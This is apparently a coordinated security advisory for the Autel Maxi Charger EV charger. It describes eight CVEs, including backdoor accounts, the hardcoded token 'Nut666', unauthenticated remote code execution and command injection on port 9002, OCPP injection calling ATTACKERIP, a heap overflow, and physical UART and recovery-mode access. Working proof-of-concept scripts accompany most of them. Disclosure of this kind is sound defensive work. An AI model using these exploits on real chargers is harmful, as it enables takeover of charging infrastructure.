Vendor description
“Founded in 2004, Autel Intelligent Technology Corp., Ltd. is a global leader in EV charging solutions and automotive diagnostics, with expertise in TPMS, ADAS, electronic components, and cloud-based software.
Autel invests over 20% of its revenue and employs more than 50% of its workforce in R&D, operating nine global R&D centers and holding 1,683 patents and copyrights, including 293 invention patents.
Its core technologies are applied in EV diagnostic devices, charging platforms, charge point operator cloud systems, and energy storage solutions — seamlessly integrating solar, storage, charging, and cloud. Autel is building a clean energy ecosystem to advance sustainable mobility.”
Source: https://autelenergy.com/en-EU/about/about-autel
Vulnerable versions
Autel Maxi Charger Single
Vulnerability overview
1) Multiple Backdoor User (CVE-2026-8982)
Two undocumented users can be used to authenticate on the web interface of the device. These users require special knowledge to infer their password.
2) Backdoor Authentication Token (CVE-2026-8983)
Many endpoints allow to bypass the authorization-token by specifying a special string as data. This would allow an attacker to change the configuration or access critical functionalities of the device.
3) Unauthenticated RCE via 9002/TCP (CVE-2026-8984)
The service listening on 9002/TCP is vulnerable to a remote code execution. An unauthenticated attacker could exploit this issue to download and execute arbitrary files.
4) Unauthenticated Command Injection via 9002/TCP (CVE-2026-8985)
The Service listening on 9002/TCP is vulnerable to a command injection. An unauthenticated attacker can exploit this issue to execute arbitrary commands.
5) Command Injection via malicious OCPP Server (CVE-2026-8986)
A malicious OCPP server get send a get_diagnostic() request with an attacker specified URL. The URL can be escaped to inject arbitrary commands on the device.
6) Authenticated Heap Overflow (CVE-2026-8987)
An authenticated attacker can send a crafted POST request with overlong data to corrupt data on the heap. This can result in denial-of-service or remote code execution.
7) Access to Bootloader via UART (CVE-2026-8988)
The device exposes a UART console on the PCB, which allows an attacker to interact with the Linux operating system. An attacker can enter the bootloader menu and modify the file system to log into the linux. This attack requires physical access.
8) Open Recovery Mode (CVE-2026-8989)
The iMX6 chip of the device can be forced into recovery mode. This allows a physical attacker to execute arbitrary code in RAM by short-circuiting two pins on the chip.
Proof of Concept
1) Multiple Backdoor User (CVE-2026-8982)
The accounts super_admin and config_admin are available on the system. As the required information for super_admin is only a 6 digit pin, the password can be guessed easily. The following poc shows the password generation function.
import hashlib
"""
-fitfrost4 <S. Dietz>
"""
def derive_admin_password(control_pwd: str) -> str:
comb = control_pwd + "AutelSuperAdmin"
r1 = hashlib.sha256(comb.encode()).hexdigest()
h1_sub = r1[-8:] # length - 8
return h1_sub
print(derive_admin_password("375859"))
# password -> c8c717e3
The config_admin account requires the 6 digit pin, mac-address and control-serial. Which is not publicly known and requires system access or another vulnerability to leak.
import hashlib
import base64
"""
-fitfrost4 <S. Dietz>
"""
def derive_config_admin_pw(control_serial, control_pin, salt, mac):
init = "{}:{}:{}{}".format(control_serial, control_pin, salt, mac)
hash1 = hashlib.sha256(init.encode()).hexdigest()
b64hash1 = base64.b64encode(bytes.fromhex(hash1))
r2 = "{}:{}".format(control_serial, b64hash1)
return base64.b64encode(r2.encode())
control_serial = "C07676S9BD00119"
control_pin = "375859"
salt = "4a1f-26e8-0b7d35"
mac = "c9:18:ce:df:96:09:5b"
derive_config_admin_pw(control_serial, control_pin, salt, mac)
2) Backdoor Authentication Token (CVE-2026-8983)
Specifying the token “Nut666” bypasses the authentication for many cmds. This would allow an attacker to make changes to the configuration or access critical functionality.
POST /localcfg HTTP/1.1
Host: 192.168.19.122
{"cmd":"get_pm_data",
"token":"Nut666",
"data": {"nodeid":1337}
}
3) Unauthenticated RCE via 9002/TCP (CVE-2026-8984)
When sending a HTTP Post request to the ‘/test’ endpoint at 9002/TCP, that contains JSON data that includes an URL to an attacker controlled downloadable archive, the device downloads, extracts and executes install.sh as root.
#!/bin/bash
# <F.Koroknai>
mkdir plugins
echo "reboot" > plugins/install.sh
tar -czvf plugins_rce.tar.gz plugins
python3 -m http.server &
curl -v -X POST http://<$Device_IP>:9002/test \
-H "Content-Type: application/json" \
-d
'{"cmdid":1080001,"data":{"url":"<$WebSrv_IP>:<$WebSrv_PORT>/plugins_rce.tar.gz"}}'
4) Command Injection via 9002/TCP (CVE-2026-8985)
The ‘/test’ endpoint at 9002/TCP is vulnerable to a command injection in the “url” variable within the HTTP POST request JSON data.
#!/bin/bash
# <F.Koroknai>
curl -v -X POST http://<$Device_IP>:9002/test \
-H "Content-Type: application/json" \
-d '{"cmdid":1080001,"data":{"url":"; reboot"}}'
5) Command Injection via malicious OCPP Server (CVE-2026-8986)
When configuring a malicious OCPP server or hijacking the currently configured one, an attacker can issue a GetDiagnostics() command which includes a attacker controlled URL param. The param gets executed in some system() like function without sanitization, resulting in a a command injection vulnerability. The following poc can be used to receive a web-request to the path ‘/diagnostics$(whoami)’.
# /// script
# requires-python = ">=3.13"
# dependencies = [
# "ocpp",
# "websockets",
# ]
# ///
# server.py
# -fitfrost4 <S.Dietz>
from datetime import datetime, timezone
import asyncio
import websockets
from ocpp.routing import on
from ocpp.v16 import ChargePoint as cp
from ocpp.v16 import call_result
from ocpp.v16 import call
from ocpp.v16.enums import Action, RegistrationStatus
import logging
logging.getLogger('ocpp').setLevel(level=logging.DEBUG)
logging.getLogger('ocpp').addHandler(logging.StreamHandler())
class MyChargePoint(cp):
@on(Action.boot_notification)
async def on_boot_notification(
self, charge_point_vendor, charge_point_model, **kwargs
):
return call_result.BootNotification(
current_time=datetime.now(tz=timezone.utc).isoformat(),
interval=10,
status=RegistrationStatus.accepted,
)
@on(Action.heartbeat)
async def on_heartbeat(self):
return call_result.Heartbeat(
current_time=datetime.now(tz=timezone.utc).isoformat(),
)
async def request_diagnostics(cp: MyChargePoint):
request = call.GetDiagnostics(
location="http://ATTACKERIP:8081/diagnostics" + "$(whoami)" ,
retries=1,
retry_interval=5,
start_time=None,
stop_time=None,
)
response = await cp.call(request)
async def on_connect(connection: websockets.ServerConnection):
"""
For every new connection, create a new ChargePoint instance,
and start listening for messages.
"""
charge_point_id = connection.request.path.split("/")[-1]
charge_point = MyChargePoint(charge_point_id, connection)
asyncio.create_task(charge_point.start())
await asyncio.sleep(2)
await request_diagnostics(charge_point)
async def main():
server = await websockets.serve(
on_connect,
'0.0.0.0',
9000,
subprotocols=['ocpp1.6', 'ocpp2.0.1'],
)
await server.wait_closed()
if __name__ == '__main__':
asyncio.run(main())
6) Authenticated Heap Overflow (CVE-2026-8987)
The cmd “set_ap_param” in ‘/localcfg’ is vulnerable to a heap-based buffer-overflow vulnerability. The issue can be used to impact the availability of the device or execute arbitrary code under the right circumstances. In addition, the cmd is reachable with the 3) Backdoor Authentication Token.
#!/bin/env python3
# -fitfrost4 <S. Dietz>
from pwn import *
IP = "192.168.19.122"
PORT = "443"
if args.IP:
IP = args.IP
if args.PORT:
PORT = args.PORT
if args.DEBUG:
context.log_level = "debug"
def build_request(buf):
data = b'{"cmd":"set_ap_param","token":"Nut666", "data":{"password": "'
data += buf + b'"}}'
req = b""
req += b"POST /localcfg HTTP/1.1\r\n"
req += b"Host: 192.168.19.122\r\n"
req += b"Content-Length: " + str(len(data)).encode() + b"\r\n"
req += b"User-Agent: fitfrost4\r\n"
req += b"Accept: application/json, text/plain, */*\r\n"
req += b"Content-Type: application/json;charset=UTF-8\r\n"
req += b"Accept-Encoding: gzip, deflate, br\r\n"
req += b"\r\n"
req += data
req += b"\r\n"
req += b"\r\n"
return req
io = remote(IP, PORT, ssl=True)
buf = cyclic(50000)
buf = cyclic(65000)
data = build_request(buf)
io.send(data)
io.interactive()
7) Access to Bootloader via UART (CVE-2026-8988)
The footprint of pin header J20 contains just three pins, which are exposing GND, RxD and TxD UART pins. These pins can be intefaced with a UART-to-USB converter via its RxD and TxD pins. The needed settings are 38400 Baud, 1n8 at 3.3 Volt. The bootloader can be stopped and accessed if ‘1 1 1’ is pressed with single keystrokes:
U-Boot 2020.04 (Aug 30 2025 - 12:36:14 +0800), Build: V1.05.67
CPU: i.MX6ULL rev1.1 792 MHz (running at 396 MHz)
[...]
No ethernet found.
Fastboot: Normal
Normal Boot
Enter 111 to stop autoboot, booting in 8 seconds
=> ?
? - alias for 'help'
base - print or set address offset
[...]
usb - USB sub-system
usbboot - boot from USB device
version - print monitor, compiler and linker version
videolink - list and select video link
=> mmcinfo
Device: FSL_SDHC
Manufacturer ID: 1
[...]
User Capacity: 3.6 GiB WRREL
Boot Capacity: 4 MiB ENH
RPMB Capacity: 4 MiB ENH
8) Open Recovery Mode (CVE-2026-8989)
The iMX6 can be put in recovery mode via shorting the two pins of J19 on the PCB. This enables an attacker to enter recovery mode and boot from a crafted image to modify or extract the operating system. The following device can be identified via ‘lsusb’ after shorting the two pins of J19:
$ lsusb
[...]
Bus 003 Device 028: ID 15a2:0080 Freescale Semiconductor, Inc. i.MX 6ULL SystemOnChip in RecoveryMode
[...]
This way, the device can be temporarily flashed with custom code:
$ sudo uuu u-boot-dtb.imx
uuu (Universal Update Utility) for nxp imx chips -- lib1.5.201
Success 1 Failure 0
3:6- 2/ 2 [Done ] SDP: done
The custom bootloader can be started and is printed to the UART interface:
U-Boot 2026.04-rc3-00076-gb26cc03b7cec (Mar 09 2026 - 12:17:18 +0100)
CPU: Freescale i.MX6ULL rev1.1 792 MHz (running at 396 MHz)
CPU: Industrial temperature grade (-40C to 105C) at 48C
Reset cause: POR
Model: Freescale i.MX6 UltraLiteLite 14x14 EVK Board
Board: MX6ULL 14x14 EVK
[...]
Hit any key to stop autoboot: 0
=>
Solution
Update to the latest available version and/or upgrade hardware.
Workaround
Restrict network access to/from devices. Do not leave devices unattended due to physical attack vectors.
Contact Timeline
- 2026-03-11: Send advisory to security contact. Received acknowledgment from the involved customer.
- 2026-05-07: Received a firmware update via the customer.
- 2026-05-08: Asked Autel representative if CVE numbers are needed; Got the information that we can assign them.
- 2026-05-26: Send CVE number and corresponding vulnerability name to Autel.
- 2026-06-08: Informed vendor that the advisory will be published the next day.
- 2026-06-09: Public release of security advisory.